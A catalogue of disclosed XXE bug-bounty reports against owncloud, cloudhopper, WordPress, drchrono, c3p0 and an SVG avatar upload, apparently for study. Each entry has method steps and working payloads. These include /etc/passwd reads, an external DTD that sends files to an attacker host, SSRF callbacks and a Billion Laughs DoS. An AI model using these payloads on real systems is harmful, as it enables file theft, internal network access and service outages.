Program owncloudSurface webChain XXE -> SSRF (server-side HTTP) and local file read

Root cause

The /user/login endpoint parses application/xml bodies with external-entity resolution enabled, so a SYSTEM parameter entity forces the server to make an outbound request (and read local files), confirmed via the attacker's access log.

Method

  1. Send a POST with Content-Type: application/xml carrying a DOCTYPE with a parameter entity pointing at your server.
  2. Watch your web log for the server-side GET to confirm XXE/SSRF.
  3. Escalate to file read via php://filter or an external DTD that exfiltrates file contents.
POST /user/login HTTP/1.1 Content-Type: application/xml <?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % select SYSTEM "http://COLLAB/ok"> %select; ]> <a>wlrm-scnr</a>

Insight — Login/API endpoints that accept application/xml are prime XXE targets; a parameter-entity SYSTEM fetch to a collaborator is the cleanest blind confirmation, then chain an external DTD for file exfiltration and internal SSRF.

Real-world example

Error-based file read XXE in cloudhopper SXMP servlet

◆ Medium
Specimen #248668 · x · awarded · 258 votes · resolved
Program xSurface web

Root cause

The SXMP (cloudhopper-commons) SMS API parses posted XML with external entities enabled; placing the entity in a field the app coerces to another type (operatorId -> integer) makes the type-conversion error message reflect the entity contents (file read).

Method

  1. POST XML to /api/sxmp/1.0 with a SYSTEM entity pointing at file:///etc/passwd.
  2. Reference the entity inside <operatorId>, which the servlet tries to parse as an integer.
  3. The 'Unable to convert [<file contents>] to an integer' error returns the file inline.
  4. Swap file:// for http:// to confirm outbound SSRF.
POST /api/sxmp/1.0 HTTP/1.1 Content-Type: text/xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <operation type="deliver"> <account username="abc" password="a"/> <deliverRequest referenceId="MYREF102020022"> <operatorId>&file;</operatorId> <sourceAddress type="network">40404</sourceAddress> <destinationAddress type="international">123</destinationAddress> <text encoding="ISO-8859-1">a</text> </deliverRequest> </operation>

Insight — Reflect XXE through a validation/conversion error: put the entity in a field the parser casts to int/date, and the error message becomes your exfil channel (no OOB needed). Fingerprint the service to its open-source repo (here github.com/twitter/cloudhopper-commons) to learn the exact XML schema/endpoint.

Real-world example

WordPress Media Library XXE on PHP8 via LIBXML_NOENT misuse (.wav upload)

◆ Medium
Specimen #1095645 · wordpress · awarded · 41 votes · resolved
Program wordpressSurface webChain wav upload -> XXE -> file read / SSRF / (phar:// ->Tag file-upload

Root cause

WordPress' ID3/wav parsing calls simplexml_load_string(..., LIBXML_NOENT). On PHP8 the pre-PHP8 guard libxml_disable_entity_loader() is skipped, but LIBXML_NOENT explicitly re-enables entity substitution, so attacker XML inside a .wav triggers XXE.

Method

  1. Craft a .wav whose embedded XML chunk references an external DTD (edit the URL at the file offset with a hex editor to avoid corrupting the RIFF).
  2. Host xxe.dtd that base64-reads /etc/passwd and exfiltrates it OOB.
  3. As an author-or-higher user, upload xxe.wav to the Media Library.
  4. The target's outbound request delivers the base64 file contents to your server.
# vulnerable code: $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT); # .wav contains an XML chunk: <!DOCTYPE r [ <!ENTITY % ext SYSTEM "http://attacker/xxe.dtd"> %ext; ]> # xxe.dtd: base64 read + OOB exfil of /etc/passwd (phar:// possible for deserialization)

Insight — LIBXML_NOENT (misleadingly named) turns ON entity substitution; on PHP8/libxml>=2.9 it re-introduces XXE even though defaults are safe. Audit for LIBXML_NOENT and libxml_disable_entity_loader removals during PHP8 migrations. Media/audio (RIFF/WAV, ID3) files carry XML chunks -> upload-based XXE. phar:// wrapper can chain to deserialization RCE.

Real-world example

XXE via healthcare C-CDA XML import -> arbitrary file read

◆ Medium
Specimen #55431 · drchrono · awarded · 35 votes · resolved
Program drchronoSurface webTag file-upload

Root cause

A 'Update patient (via C-CDA XML)' import parses uploaded XML with external entities enabled, so a crafted C-CDA document reads local files (and can reach internal services) which are rendered back in the preview.

Method

  1. Download a legitimate C-CDA XML template from the app
  2. Insert an external-entity DOCTYPE pointing at /etc/passwd
  3. Upload and click Preview to see the file contents reflected
<?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <ClinicalDocument>...<title>&xxe;</title>...</ClinicalDocument>

Insight — Domain-specific XML import formats (C-CDA/HL7, SAML, DOCX/XLSX, SVG, sitemap, GPX) are prime XXE sinks that generic scanners miss. Any 'import via XML' feature that echoes parsed values into a preview gives a direct file-read oracle.

Real-world example

Billion Laughs entity-expansion DoS in c3p0 XML config loader (CVE-2019-5427)

◆ Medium
Specimen #509315 · central-security-project · none · 5 votes · resolved
Program central-security-projectSurface other

Root cause

c3p0's C3P0ConfigXmlUtils.extractXmlConfigFromInputStream() parses XML config without disabling DOCTYPE, so a recursively-nested-entity (Billion Laughs) document expands exponentially and crashes the JVM.

Method

  1. Feed a Billion Laughs XML payload to c3p0's XML config loader (any path where poisoned config XML reaches the component).
  2. Nested entities (lol1..lol9) expand to billions of nodes, exhausting memory and crashing the JVM.
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;..."> ... <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>

Insight — XXE isn't only file read/SSRF -- any XML parser that allows DOCTYPE (no external entity resolution required) is vulnerable to Billion Laughs entity-expansion DoS. The universal fix is disabling DOCTYPE (feature http://apache.org/xml/features/disallow-doctype-decl = true), which is the same hardening that kills XXE.

Real-world example

SVG avatar upload -> XXE/SSRF and local file fetch via xlink:href

◆ Low
Specimen #845832 · lab45 · none · 13 votes · resolved
Program lab45Surface webChain SVG upload -> XXE/SSRF -> internal resource fetch / fiTag file-upload

Root cause

An avatar upload accepts image/* including image/svg+xml; SVG is XML, so a crafted SVG with an <image xlink:href> to an external or internal URL causes the server/renderer to fetch attacker-chosen resources (SSRF) and can fetch local files.

Method

  1. In the avatar upload flow, change the contentType to image/svg+xml (pre-signed S3 flow: change contentType in both the presign request and the PUT).
  2. Upload an SVG whose <image xlink:href> points at an attacker server (confirm via netcat) or an internal/local path.
  3. Observe SSRF callback / local resource inclusion when the SVG is processed/rendered.
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" height="200"> <image x="10" y="10" width="276" height="110" xlink:href="http://ATTACKER:81/svg"/> </svg> <!-- classic XXE variant: <!DOCTYPE svg [<!ENTITY foo SYSTEM "file:///etc/passwd">]> ...&foo; -->

Insight — An image upload that accepts SVG is an XML/XXE and SSRF surface. Bypass MIME checks by setting Content-Type to image/svg+xml (especially in multi-step presigned-URL uploads where the type is echoed). xlink:href fetches remote and local resources; DOCTYPE entities give file read / billion-laughs DoS.

§References & practice

  1. PortSwigger Web Security Academy — XXE labs (hands-on practice).
  2. All 25 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.